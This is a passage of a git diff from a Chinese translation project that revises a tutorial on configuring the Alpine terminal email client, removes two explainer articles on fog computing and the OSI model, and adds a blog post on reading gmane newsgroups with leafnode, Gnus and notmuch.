can be used to set up your SMTP and IMAP connections to the email server and define the way many aspects of Alpine work. In these examples, I'll use the `example.com` domain name (which is the virtual network I use for testing and experimenting). Alpine's configuration is stored in the `~/.pinerc` file, created the first time you start Alpine. The first page of the Setup Configuration menu contains most of the settings required to configure Alpine to send and receive email: - ``` ALPINE 2.24 SETUP CONFIGURATION Folder: INBOX No Messages -Personal Name = <No Value Set: using "Test User"> -User Domain = <No Value Set> -SMTP Server (for sending) = <No Value Set> -NNTP Server (for news) = <No Value Set> -Inbox Path = <No Value Set: using "inbox"> -Incoming Archive Folders = <No Value Set> -Pruned Folders = <No Value Set> -Default Fcc (File carbon copy) = <No Value Set: using "sent-mail"> -Default Saved Message Folder = <No Value Set: using "saved-messages"> -Postponed Folder = <No Value Set: using "postponed-msgs"> -Read Message Folder = <No Value Set> -Form Letter Folder = <No Value Set> -Trash Folder = <No Value Set: using "Trash"> -Literal Signature = <No Value Set> -Signature File = <No Value Set: using ".signature"> +Personal Name = +User Domain = +SMTP Server (for sending) = +NNTP Server (for news) = +Inbox Path = +Incoming Archive Folders = +Pruned Folders = +Default Fcc (File carbon copy) = +Default Saved Message Folder = +Postponed Folder = +Read Message Folder = +Form Letter Folder = +Trash Folder = +Literal Signature = +Signature File = Feature List = Set Feature Name -\--- ---------------------- +--- ---------------------- [ Composer Preferences ] [X] Allow Changing From (default) -[ ] Alternate Compose Menu -[ ] Alternate Role (#) Menu -[ ] Compose Cancel Confirm Uses Yes -[ ] Compose Rejects Unqualified Addresses -[ ] Compose Send Offers First Filter -[ ] Ctrl-K Cuts From Cursor -[ ] Delete Key Maps to Ctrl-D -[ ] Do Not Save to Deadletter on Cancel +[ ] Alternate Compose Menu +[ ] Alternate Role (#) Menu +[ ] Compose Cancel Confirm Uses Yes +[ ] Compose Rejects Unqualified Addresses +[ ] Compose Send Offers First Filter +[ ] Ctrl-K Cuts From Cursor +[ ] Delete Key Maps to Ctrl-D +[ ] Do Not Save to Deadletter on Cancel [Already at start of screen] -? Help E Exit Setup P Prev - PrevPage A Add Value % Print +? Help E Exit Setup P Prev - PrevPage A Add Value % Print O OTHER CMDS C [Change Val] N Next Spc NextPage D Delete Val W WhereIs ``` -_Figure 3: First page of Alpine's Setup Configuration menu_ +*Figure 3: First page of Alpine's Setup Configuration menu* This is where you define the parameters required to communicate with the email server. To change a setting, use the **Arrow** keys to move the selection bar to the desired configuration item and press **Enter**. You can see in Figure 3 that none of the basic configuration items have any values set. The **Personal Name** item uses the [Gecos field][6] of the Unix `/etc/passwd` entry for the logged-in user to obtain the default name. This is just a name Alpine uses for display and has no role in receiving or sending email. I usually call this the "pretty name." In this case, the default name is fine, so I will leave it as it is. -There are some configuration items that you must set. Start with the **User Domain**, which is the current computer's domain name. Mine is a virtual machine I use for testing and examples in my books. Use the command line to get the fully qualified domain name (FQDN) and the hostname. In Figure 4, you can see that the domain name is `example.com`: - +There are some configuration items that you must set. Start with the **User Domain**, which is the current computer's domain name. Mine is a virtual machine I use for testing and examples in my books. Use the command line to get the fully qualified domain name (FQDN) and the hostname. In Figure 4, you can see that the domain name is `example.com` : ``` $ hostnamectl @@ -236,117 +230,161 @@ Kernel: Linux 5.10.23-200.fc33.x86_64 Architecture: x86-64 ``` -_Figure 4: Obtaining the hostname and domain name_ - -Once you have the FQDN, select the **User Domain** entry and press **Enter** to see the entry field at the bottom of the Alpine screen (as shown in Figure 5). Type your domain name and press **Enter** (using _your_ network's domain and server names): +*Figure 4: Obtaining the hostname and domain name* +Once you have the FQDN, select the **User Domain** entry and press **Enter** to see the entry field at the bottom of the Alpine screen (as shown in Figure 5). Type your domain name and press **Enter** (using *your* network's domain and server names): ``` ALPINE 2.24 SETUP CONFIGURATION Folder: INBOX No Messages -Personal Name = <No Value Set: using "Test User"> -User Domain = <No Value Set> -SMTP Server (for sending) = <No Value Set> -NNTP Server (for news) = <No Value Set> -Inbox Path = <No Value Set: using "inbox"> -Incoming Archive Folders = <No Value Set> -Pruned Folders = <No Value Set> -Default Fcc (File carbon copy) = <No Value Set: using "sent-mail"> -Default Saved Message Folder = <No Value Set: using "saved-messages"> -Postponed Folder = <No Value Set: using "postponed-msgs"> -Read Message Folder = <No Value Set> -Form Letter Folder = <No Value Set> -Trash Folder = <No Value Set: using "Trash"> -Literal Signature = <No Value Set> -Signature File = <No Value Set: using ".signature"> +Personal Name = +User Domain = +SMTP Server (for sending) = +NNTP Server (for news) = +Inbox Path = +Incoming Archive Folders = +Pruned Folders = +Default Fcc (File carbon copy) = +Default Saved Message Folder = +Postponed Folder = +Read Message Folder = +Form Letter Folder = +Trash Folder = +Literal Signature = +Signature File = Feature List = Set Feature Name -\--- ---------------------- +--- ---------------------- [ Composer Preferences ] [X] Allow Changing From (default) -[ ] Alternate Compose Menu -[ ] Alternate Role (#) Menu -[ ] Compose Cancel Confirm Uses Yes -[ ] Compose Rejects Unqualified Addresses -[ ] Compose Send Offers First Filter -[ ] Ctrl-K Cuts From Cursor -[ ] Delete Key Maps to Ctrl-D -[ ] Do Not Save to Deadletter on Cancel -Enter the text to be added : example.com -^G Help +[ ] Alternate Compose Menu +[ ] Alternate Role (#) Menu +[ ] Compose Cancel Confirm Uses Yes +[ ] Compose Rejects Unqualified Addresses +[ ] Compose Send Offers First Filter +[ ] Ctrl-K Cuts From Cursor +[ ] Delete Key Maps to Ctrl-D +[ ] Do Not Save to Deadletter on Cancel +Enter the text to be added : example.com +^G Help ^C Cancel Ret Accept ``` -_Figure 5: Type the domain name into the text entry field._ +*Figure 5: Type the domain name into the text entry field.* -### Required config +#### Required config These are the basic configuration items you need to send and receive email: - * **Personal Name** - * Your name - * This is the pretty name Alpine uses for the From and Return fields in emails. - * **User Domain** - * `example.com:25/user=SMTP_Authentication_UserName` - * This is the email domain for your email client. This might be different from the User Domain name. This line also contains the SMTP port number and the user name for SMTP authentication. - * **SMTP server** - * SMTP - * This is the name of the outbound SMTP email server. It combines with the User Domain name to create the FQDN for the email server. - * **Inbox Path** - * `{IMAP_server)}Inbox` - * This is the name of the IMAP server enclosed in curly braces (`{}`) and the name of the Inbox. Note that this directory location is different from the inbound IMAP email. The usual location for the inbox on the server is `/var/spool/mail/user_name`. - * **Default Fcc** (file carbon copy) - * `{IMAP_server)}mail/sent` - * This is the mailbox (folder) where sent mail is stored. The default mail directory on the server is usually `~/mail`, but `mail/` must be specified in this and the next two entries, or the folders will be placed in the home directory instead. - * **Default Saved Message Folder** - * `{IMAP_server)}mail/saved-messages` - * This is the default folder when saving a message to a folder if you don't use `^t` to specify a different one. - * **Trash Folder** - * `{IMAP_server)}mail/Trash` - * **Literal Signature** - * A signature string - * I don't use this, but it's an easy place to specify a simple signature. - * **Signature File** - * `~/MySignature.sig` - * This points to the file that contains your signature file. +* Personal Name + * Your name + * This is the pretty name Alpine uses for the From and Return fields in emails. +* User Domain + * example.com:25/user=SMTP_Authentication_UserName + * This is the email domain for your email client. This might be different from the User Domain name. This line also contains the SMTP port number and the user name for SMTP authentication. +* * SMTP server +SMTP + * This is the name of the outbound SMTP email server. It combines with the User Domain name to create the FQDN for the email server. +* Inbox Path + * {IMAP_server)}Inbox + * This is the name of the IMAP server enclosed in curly braces ({}) and the name of the Inbox. Note that this directory location is different from the inbound IMAP email. The usual location for the inbox on the server is `/var/spool/mail/user_name`. +* Default Fcc (file carbon copy) + * {IMAP_server)}mail/sent + * This is the mailbox (folder) where sent mail is stored. The default mail directory on the server is usually `~/mail`, but `mail/` must be specified in this and the next two entries, or the folders will be placed in the home directory instead. +* Default Saved Message Folder + * {IMAP_server)}mail/saved-messages + * This is the default folder when saving a message to a folder if you don't use `^t` to specify a different one. +* Trash Folder + * {IMAP_server)}mail/Trash +* Literal Signature + * A signature string + * I don't use this, but it's an easy place to specify a simple signature. +* Signature File + * ~/MySignature.sig + * This points to the file that contains your signature file. - - -### Optional config +#### Optional config Here are the features I changed to make Alpine work more to my liking. They are not about getting Alpine to send and receive email, but about making Alpine work the way you want it to. Unless otherwise noted, I turned all of these features on. Features that are turned on by default have the string `(default)` next to them in the Alpine display. Because they are already turned on, I will not describe them. - * **Alternate Role (`#`) Menu:** This allows multiple identities using different email addresses on the same client and server. The server must be configured to allow multiple addresses to be delivered to your primary email account. - * **Compose Rejects Unqualified Addresses:** Alpine will not accept an address that is not fully qualified. That is, it must be in the form ``. - * **Enable Sigdashes:** This enables Alpine to automatically add dashes (`--`) in the row just above the signature. This is a common way of delineating the start of the signature. - * **Prevent User Lookup in Password File:** This prevents the lookup of the full user name from the Gecos field of the passwd file. - * **Spell Check Before Sending:** Although you can invoke the spell checker at any time while composing an email, this forces a spell check when you use the `^X` keystroke to send an email. - * **Include Header in Reply:** This includes a message's headers when you reply. - * **Include Text in Reply:** This includes the text of the original message in your reply. - * **Signature at Bottom:** Many people prefer to have their signature at the very bottom of the email. This setting changes the default, which puts the signature at the end of the reply and before the message being replied to. - * **Preserve Original Fields:** This preserves the original addresses in the **To:** and **CC:** fields when you reply to a message. If this feature is disabled when you reply to a message, the original sender is added to the **To:** field, all other recipients are added to the **CC:** field, and your address is added to the **From:** field. - * **Enable Background Sending:** This speeds the Alpine user interface response when sending an email. - * **Enable Verbose SMTP Posting:** This produces more verbose information during SMTP conversations with the server. It is a problem-determination aid for the sysadmin. - * **Warn if Blank Subject:** This prevents sending emails with no subject. - * **Combined Folder Display:** This combines all folder collections into a single main display. Otherwise, collections will be in separate views. - * **Combined Subdirectory Display:** This combines all subdirectories' collections into a single main display. Otherwise, subdirectories will be in separate views. This is useful when searching for a subdirectory to attach or save files. - * **Enable Incoming Folders Collection:** This lists all incoming folders in the same collection as the Inbox. Incoming folders can be used with a tool like procmail to presort email into folders other than the Inbox and makes it easier to see the folders where new emails are sorted. - * **Enable Incoming Folders Checking:** This enables Alpine to check for new emails in the incoming folders collection. - * **Incoming Checking Includes Total:** This displays the number of old and new emails in the incoming folders. - * **Expanded View of Folders:** This displays all folders in each collection when you view the **Folder List** screen. Otherwise, only the collections are shown, and the folders are not shown until selected. - * **Separate Folder and Directory Entries:** If your mail directory has email folders and regular directories that use the same name, this causes Alpine to list them separately. - * **Use Vertical Folder List:** This sorts mail folders vertically first and then horizontally. The default is horizontal, then vertical. - * **Convert Dates To Localtime:** By default, all dates and times are displayed in their originating time zones. This converts the dates to display in local time. - * **Show Sort in Titlebar:** Alpine can sort emails in a mail folder using multiple criteria. This causes the sort criteria to be displayed in the title bar. - * **Enable Message View Address Links:** This highlights email addresses in the body of the email. - * **Enable Message View Attachment Links:** This highlights URL links in the body of the email. - * **Prefer Plain Text:** Many emails contain two versions, plain text and HTML. When this feature is turned on, Alpine always displays the plain text version. You can use the **A** key to toggle to the "preferred" version, usually the HTML one. I usually find the plain text easier to visualize the structure of and read the email. This can depend upon the sending client, so I use the **A** key when needed. - * **Enable Print Via Y Command:** This prints a message using the previous default, **Y**. Because **Y** is also used to confirm many commands, the keystroke can inadvertently cause you to print a message. The new default is **%** to prevent accidental printing. I like the ease of using **Y**, but it has caused some extra print jobs, so I am thinking about turning this feature off. - * **Print Formfeed Between Messages:** This prints each message on a new sheet of paper. - * **Customized Headers:** Customized headers enables overriding the default **From:** and **Reply-To:** headers. I set mine to: [code] -   From: "David Both" <[[david@example.com][7]](mailto:[david@both.org][8])> -\-   Reply-To: "David Both" -    <[[david@example.com][7]](mailto:[david@both.org][8])> +* Alternate Role (#) Menu: This allows multiple identities using different email addresses on the same client and server. The server must be configured to allow multiple addresses to be delivered to your primary email account. +* Compose Rejects Unqualified Addresses: Alpine will not accept an address that is not fully qualified. That is, it must be in the form ``. +* Enable Sigdashes: This enables Alpine to automatically add dashes (--) in the row just above the signature. This is a common way of delineating the start of the signature. +* Prevent User Lookup in Password File: This prevents the lookup of the full user name from the Gecos field of the passwd file. +* Spell Check Before Sending: Although you can invoke the spell checker at any time while composing an email, this forces a spell check when you use the `^X` keystroke to send an email. +* Include Header in Reply: This includes a message's headers when you reply. +* Include Text in Reply: This includes the text of the original message in your reply. +* Signature at Bottom: Many people prefer to have their signature at the very bottom of the email. This setting changes the default, which puts the signature at the end of the reply and before the message being replied to. +* Preserve Original Fields: This preserves the original addresses in the To: and CC: fields when you reply to a message. If this feature is disabled when you reply to a message, the original sender is added to the To: field, all other recipients are added to the CC: field, and your address is added to the From: field. +* Enable Background Sending: This speeds the Alpine user interface response when sending an email. +* Enable Verbose SMTP Posting: This produces more verbose information during SMTP conversations with the server. It is a problem-determination aid for the sysadmin. +* Warn if Blank Subject: This prevents sending emails with no subject. +* Combined Folder Display: This combines all folder collections into a single main display. Otherwise, collections will be in separate views. +* Combined Subdirectory Display: This combines all subdirectories' collections into a single main display. Otherwise, subdirectories will be in separate views. This is useful when searching for a subdirectory to attach or save files. +* Enable Incoming Folders Collection: This lists all incoming folders in the same collection as the Inbox. Incoming folders can be used with a tool like procmail to presort email into folders other than the Inbox and makes it easier to see the folders where new emails are sorted. +* Enable Incoming Folders Checking: This enables Alpine to check for new emails in the incoming folders collection. +* Incoming Checking Includes Total: This displays the number of old and new emails in the incoming folders. +* Expanded View of Folders: This displays all folders in each collection when you view the Folder List screen. Otherwise, only the collections are shown, and the folders are not shown until selected. +* Separate Folder and Directory Entries: If your mail directory has email folders and regular directories that use the same name, this causes Alpine to list them separately. +* Use Vertical Folder List: This sorts mail folders vertically first and then horizontally. The default is horizontal, then vertical. +* Convert Dates To Localtime: By default, all dates and times are displayed in their originating time zones. This converts the dates to display in local time. +* Show Sort in Titlebar: Alpine can sort emails in a mail folder using multiple criteria. This causes the sort criteria to be displayed in the title bar. +* Enable Message View Address Links: This highlights email addresses in the body of the email. +* Enable Message View Attachment Links: This highlights URL links in the body of the email. +* Prefer Plain Text: Many emails contain two versions, plain text and HTML. When this feature is turned on, Alpine always displays the plain text version. You can use the A key to toggle to the "preferred" version, usually the HTML one. I usually find the plain text easier to visualize the structure of and read the email. This can depend upon the sending client, so I use the A key when needed. +* Enable Print Via Y Command: This prints a message using the previous default, Y. Because Y is also used to confirm many commands, the keystroke can inadvertently cause you to print a message. The new default is % to prevent accidental printing. I like the ease of using Y, but it has caused some extra print jobs, so I am thinking about turning this feature off. +* Print Formfeed Between Messages: This prints each message on a new sheet of paper. +* Customized Headers: Customized headers enables overriding the default From: and Reply-To: headers. I set mine to: +-   From: "David Both" <[david@example.com](mailto:david@both.org)> +-   Reply-To: "David Both" +    <[david@example.com](mailto:david@both.org)> +* Sort key: By default, Alpine sorts messages in a folder by arrival time. I found this to be a bit confusing, so I changed it to Date, which can be significantly different from arrival time. Many spammers use dates and times in the past or future, so this setting can sort the future ones to the top of the list (or bottom, depending on your preferences for forward or reverse sorts). +* Image Viewer: This feature allows you to specify the image viewer to use when displaying graphics attached to or embedded in an email. This only works when using Alpine in a terminal window on the graphical desktop. It will not work in a text-only virtual console. I always set this to `=okular` because [Okular][7] is my preferred viewer. +* URL-Viewer: This tells Alpine what web browser you want to use. I set this for `= /bin/firefox` but you could use Chrome or another browser. Be sure to verify the location of the Firefox executable. + +#### Printing + +It is easy to set up Alpine for printing. Select the **Printer** menu from the **Setup** page. This allows you to set a default printer and define custom print commands. The default is probably `attached-to-ansi`. Move the cursor down to the **Standard UNIX print command** section and highlight the printer list. + ``` - * **Sort key:** By default, Alpine sorts messages in a folder by arrival time. I found this to be a bit confusing, so I changed it to **Date**, which can be significantly different from arrival time. Many spammers use dates and times in the past or future, so this setting can sort the future ones to the top of the list (or bottom, depending on your preferences for forward or reverse sorts). - * **Image Viewer:** This feature allows you to specify the image viewer to use when displaying graphics attached to or embedded in an email. This only works when using Alpine in a terminal window on the graphical desktop. It will not work in a text-only virtual console. I always set this to `=okular` because [Okular][9] is my preferred viewer. - * **URL-Viewer:** This tells Alpine what web browser you \ No newline at end of file +Standard UNIX print command + +Using this option may require setting your "PRINTER" or "LPDEST" + +environment variable using the standard UNIX utilities. + +Printer List: "" lpr +``` + +Then press the **Enter** key to set the standard Unix **lpr** command as the default. + +### Final thoughts + +This is not a step-by-step guide to Alpine configuration and use. Rather, I tried to cover the basics to get it up and running to send and receive email. I also shared some configuration changes that have made my Alpine experience much more usable. These are the configuration items that I've found most important to my experience; you may find that others are more important to you. + +I have been using Alpine for several months now and am very happy with the experience. The text interface helps me concentrate on the message and not the distracting graphics and animations. I can view those if I choose, but 99% of the time, I choose not to. + +Alpine is easy to use and has a huge number of features that can be configured to give the best email client experience possible. + +Use the **Help** feature to get more information about the fields I explored above and those that I did not cover. You will undoubtedly find ways to configure Alpine that work better for you than the defaults or what I changed. I hope this will at least give you a start to set up Alpine the way you want. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/5/alpine-linux-email + +作者:[David Both][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/email_chat_communication_message.png +[2]: https://www.thunderbird.net/en-US/ +[3]: https://alpine.x10host.com/ +[4]: https://opensource.com/article/17/10/alpine-email-client +[5]: https://linux.die.net/man/1/mailx +[6]: https://en.wikipedia.org/wiki/Gecos_field +[7]: https://okular.kde.org/ diff --git a/sources/tech/20210511 What is fog computing.md b/sources/tech/20210511 What is fog computing.md deleted file mode 100644 index 7d1f54ee22..0000000000 --- a/sources/tech/20210511 What is fog computing.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: subject: (What is fog computing?) -[#]: via: (https://opensource.com/article/21/5/fog-computing) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -What is fog computing? -====== -Learn about the network comprised of all the connected devices in our -lives. -![Man at laptop on a mountain][1] - -In the early days, computers were big and expensive. There were few users in the world, and they had to reserve time on a computer (and show up in person) to have their punchcards processed. Systems called [mainframes][2] made many innovations and enabled time-shared tasks on terminals (like desktop computers, but without their own CPU). - -Skip forward to today, when powerful computation is [as cheap as US$35 and no larger than a credit card][3]. That doesn't even begin to cover all the little devices in modern life that gather and process data. Take a high-level view of this collection of computers, and you can imagine all of these devices outnumbering grains of sands or particles in a cloud. - -It so happens that the term "cloud computing" is already occupied, so there needs to be a unique name for the network comprised of the Internet of Things (IoT) and other strategically situated servers. And besides, if there's already a cloud representing nodes of a data center, then there's surely something unique about the nodes intermingling with us folk outside that cloud. - -### Welcome to fog computing - -The cloud delivers computing services over the internet. But the data centers that make up the cloud are big and relatively few compared to their number of potential clients. This suggests potential bottlenecks when data is sent back and forth between the cloud and its many users. - -Fog computing, by contrast, can outnumber its potential clients without risking a bottleneck because the devices perform much of the data collection or computation. It's the outer "edge" of the cloud, the part of a cloud that touches down to the ground. - -### Fog and edge computing - -Fog computing and [edge computing][4] are essentially synonymous. Both have strong associations with both the cloud and IoT and make the same architectural assumptions: - - * The closer you are to the CPU doing the work, the faster the data transfer. - * Like [Linux][5], there's a strong advantage to having small, purpose-built computers that can "do one thing and do it well." (Of course, our devices actually do more than just one thing, but from a high-level view, a smartwatch you bought to monitor your health is essentially doing "one" thing.) - * Going offline is inevitable, but a good device can function just as effectively in the interim and then sync up when reconnected. - * Local devices can be simpler and cheaper than large data centers. - - - -### Networking on the edge - -It's tempting to view fog computing as a completely separate entity from the cloud, but they're just two parts of the whole. The cloud needs the infrastructure of the digital enterprise, including public cloud providers, telecommunication companies, and even specialized corporations running their own services. Localized services are also important to provide waystations between the cloud core and its millions and millions of clients. - -**[Read next: [An Architect's guide to edge computing essentials][6]]** - -Fog computing, located at the edge of the cloud, intermingles with clients wherever they are located. Sometimes, this is a consumer setting, such as your own home or car, while other times, it's a business interest, such as price-monitoring devices in a retail store or vital safety sensors on a factory floor. - -### Fog computing is all around you - -Fog computing is built up of all the connected devices in our lives: drones, phones, watches, fitness monitors, security monitors, home automation, portable gaming devices, gardening automation, weather sensors, air-quality monitors, and much, much more. Ideally, the data it provides helps to build a better and more informed future. There are lots of great open source projects out there that are working toward improving health and wellness—or even just making life a little more entertaining—and it's all happening thanks to fog and cloud computing. _Our_ job, however, is to make sure it [stays open][7]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/fog-computing - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_laptop_code_programming_mountain_view.jpg?itok=yx5buqkr (Man at laptop on a mountain) -[2]: https://opensource.com/article/19/9/linux-mainframes-part-1 -[3]: https://opensource.com/resources/raspberry-pi -[4]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing -[5]: https://opensource.com/resources/linux -[6]: https://www.redhat.com/architect/edge-computing-essentials -[7]: https://opensource.com/article/20/10/keep-cloud-open diff --git a/sources/tech/20210511 What is the OSI model.md b/sources/tech/20210511 What is the OSI model.md deleted file mode 100644 index 1d43a0e9bc..0000000000 --- a/sources/tech/20210511 What is the OSI model.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: subject: (What is the OSI model?) -[#]: via: (https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/) -[#]: author: (Julia Evans https://jvns.ca/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -What is the OSI model? -====== - -Today I tweeted something about how the OSI model doesn’t correspond well to the reality of how TCP/IP works and it made me think – what is the OSI model, exactly? From reading some of the replies on Twitter, it seems like there are at least 3 different ways to think about it: - - 1. A literal description of how TCP/IP works - 2. An abstract model that you can use to describe and compare a lot of different networking protocols - 3. A literal description of some computer networking protocols from the 1980s that are mostly no longer used today - - - -In this post I’m not going to try to argue that any one of these is “really” what the OSI model is – it seems like different people think about the OSI model in all of these ways, and that’s okay. - -### the OSI model has 7 layers - -Before we talk about what the OSI model means, let’s very briefly discuss what it is: it’s an abstract model for how networking works with 7 numbered layers: - - * Layer 1: physical layer - * Layer 2: data link - * Layer 3: network - * Layer 4: transport - * Layer 5: session - * Layer 6: presentation - * Layer 7: application - - - -I won’t say more about what each of those is supposed to mean, there are a thousand explanations of it online. - -### the OSI model as a literal description of how TCP/IP works - -First, I want to talk about one common way people use the OSI model in practice: as a literal description of how TCP/IP works. Some layers of the OSI model are really easy to map to TCP/IP: - - * Layer 2 corresponds to Ethernet - * Layer 3 corresponds to IP - * Layer 4 corresponds to TCP or UDP (or ICMP etc) - * Layer 7 corresponds to whatever is inside the TCP or UDP packet (for example a DNS query) - - - -This mapping makes a lot of sense for layers 2, 3, and 4 – TCP packets have 3 headers corresponding to these 3 layers (the Ethernet header, the IP header, and the TCP header). - -Having numbers to describe the different headers in a TCP packet is pretty useful – if you say “layer 2”, it’s clear that that lives “underneath” layer 3, because 2 is a smaller number than 3. - -The weird thing about “OSI model as literal description” is that layers 5 and 6 don’t really correspond to anything in TCP/IP – I’ve heard a lot of different interpretations of what layers 5 or 6 could be (you could say layer 5 is TLS or something!) but they don’t have a clear correspondence like “every layer has a corresponding header in the TCP packet” the way layers 2, 3, and 4 do. - -Also, some parts of TCP/IP don’t fit well into the OSI model even around layers 2-4 – for example, what layer is an ARP packet? ARP packets send some data with an Ethernet header, so does that mean they’re layer 3? Layer 2? The Wikipedia article listing different OSI layers categorizes it under “layer 2.5” which is pretty unsatisfying. - -This is only really a problem because the OSI model is sometimes used to teach TCP/IP, and it’s confusing if it’s not made clear which parts of the model map well to TCP/IP and which don’t. - -### the OSI model as an abstraction for comparing networking protocols - -Another way of thinking of OSI that I’ve heard is that it’s an abstraction you can use to draw analogies between lots of different networking protocols. For example, if you want to understand how Bluetooth works, maybe you can use the OSI model to help you – here’s an diagram I found on [this page][1] showing how Bluetooth fits into the OSI model. - -![][2] - -As another example of this, [this Wikipedia article][3] has a list of OSI layers and which specific networking protocols correspond to those OSI layers. - -### the OSI model as a literal description of some obsolete protocols - -Some very brief research on Wikipedia says that in addition to an abstract description of 7 layers, the OSI model also contained a [bunch of specific protocols implementing those layers][4]. Apparently this happened during the [Protocol Wars][5] in the 70s and 80s, where the OSI model lost and TCP/IP won. - -This explains why the OSI model doesn’t really correspond that well to TCP/IP, since if the OSI protocols had “won” then the OSI model _would_ correspond exactly to how internet networking actually works. - -### that’s all! - -I’m writing this because when I originally learned about the OSI model I found it super confusing (what are all these layers? are they real? is this actually how networking works? what’s happening?) and I wish someone had told me that (as someone who does not work with any networking protocols other than TCP/IP) I could just learn how layers 2, 3, 4, and 7 relate to TCP/IP and then ignore everything else about it. So hopefully this will help clear things up for somebody! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://flylib.com/books/en/4.215.1.116/1/ -[2]: https://jvns.ca/images/bluetooth.gif -[3]: https://en.wikipedia.org/wiki/List_of_network_protocols_(OSI_model) -[4]: https://en.wikipedia.org/wiki/OSI_protocols -[5]: https://en.wikipedia.org/wiki/Protocol_Wars diff --git a/sources/tech/20210517 reading and searching gmane with gnus, fast.md b/sources/tech/20210517 reading and searching gmane with gnus, fast.md new file mode 100644 index 0000000000..51816eac6c --- /dev/null +++ b/sources/tech/20210517 reading and searching gmane with gnus, fast.md @@ -0,0 +1,91 @@ +[#]: subject: "reading and searching gmane with gnus, fast" +[#]: via: "https://jao.io/blog/2021-05-17-reading-and-searching-gmane-with-gnus-fast.html" +[#]: author: "jao https://jao.io" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +reading and searching gmane with gnus, fast +====== + +Reading mailing lists via Gnus by pointing it to the usenet service news.gmane.io is a well-known trick among emacsers. It has a couple of drawbacks, though: network latency and no search. The two problems have, as almost always with almost any problem in Emacs land, a cure. The names of the game are, in this case, leafnode and notmuch. + +I've been using [leafnode][1] since i was young to avoid network latency issues when Gnus fetches news from remote usenet servers. [Leafnode][1] is a store & forward NNTP proxy that can be used to give a regular newsreader off-line functionality. It works by fetching in the background news articles from a number of configured remote servers (gmane.io in our case), storing them locally and offering a local NNTP server to Gnus (or any other newsreader, for that matter). That way, one configures Gnus to fetch news from localhost, which is fast and will never block, even when one is disconnected from the interwebs. Leafnode's server implements the full protocol, so one can also post to the remote servers. + +For our case, leafnode's configuration file is very simple: + +``` + + ## Unread articles will be deleted after this many days + expire = 365 + + ## This is the NNTP server leafnode fetches its news from. + ## You need read and post access to it. Mandatory. + server = news.gmane.io + + ## Fetch only a few articles when we subscribe a new newsgroup. The + ## default is to fetch all articles. + initialfetch = 100 + +``` + +With leafnode in place, i've rarely needed to subscribe to a mailing list[1][2], and all their messages are available with the Gnus interface that we all know and love. + +With one caveat: one can search over e-mails, using either IMAP (i like dovecot's lucene indexes) or (even better) notmuch. Can we do the same with those messages we access through leafnode? Well, it turns out that, using notmuch, you can! + +First of all, leafnode stores its articles in a format recognised by notmuch's indexer. In my debian installation, the live in the directory `/var/spool/news/gmane`. On the other hand, my notmuch configuration points to `~/var/mail` as the parent directory where my mailboxes are to be found. I just created a symlink in the latter to the former and voila, notmuch is indexing all the messages retrieved by leafnode and i can search over them![2][3] + +With the version of Gnus in current emacs master, it's even better. I can tell Gnus that the search engine for the news server is notmuch: + +``` + + (setq gnus-select-method + '(nntp "localhost" + (gnus-search-engine gnus-search-notmuch + (remove-prefix "/home/jao/var/mail/")))) + +``` + +and perform searches directly in Gnus using the notmuch indexes. Or, if you prefer, you can use directly notmuch.el to find and read those usenet articles: they look just like good old email[3][4] :) + +### Footnotes: + +[1][5] + +Actually, gmane also includes _gwene_ groups that mirror RSS feeds as usenet messages, so you could extend the trick to feeds too. I however use [rss2email][6] to read RSS feeds as email, for a variety of reasons best left to a separate post. + +[2][7] + +With the `expire` parameter in leafnode's configuration set to 365, i keep locally an indexed archive of the mailing list posts less than a year old: in this age of cheap storage, one can make that much longer. One can also play with `initialfetch`. + +[3][8] + +I am not a mu4e user, but i am pretty sure one can play the same trick if that's your email indexer and reader. + +[Tags][9]: [emacs][10] + +-------------------------------------------------------------------------------- + +via: https://jao.io/blog/2021-05-17-reading-and-searching-gmane-with-gnus-fast.html + +作者:[jao][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jao.io +[b]: https://github.com/lujun9972 +[1]: https://leafnode.sourceforge.io/ +[2]: tmp.gr7aQUOwRH#fn.1 +[3]: tmp.gr7aQUOwRH#fn.2 +[4]: tmp.gr7aQUOwRH#fn.3 +[5]: tmp.gr7aQUOwRH#fnr.1 +[6]: https://wiki.archlinux.org/title/Rss2email +[7]: tmp.gr7aQUOwRH#fnr.2 +[8]: tmp.gr7aQUOwRH#fnr.3 +[9]: https://jao.io/blog/tags.html +[10]: https://jao.io/blog/tag-emacs.html diff --git a/sources/tech/20210524 4 steps to set up global modals in React.md b/sources/tech/20210524 4 steps to set up global modals in React.md index 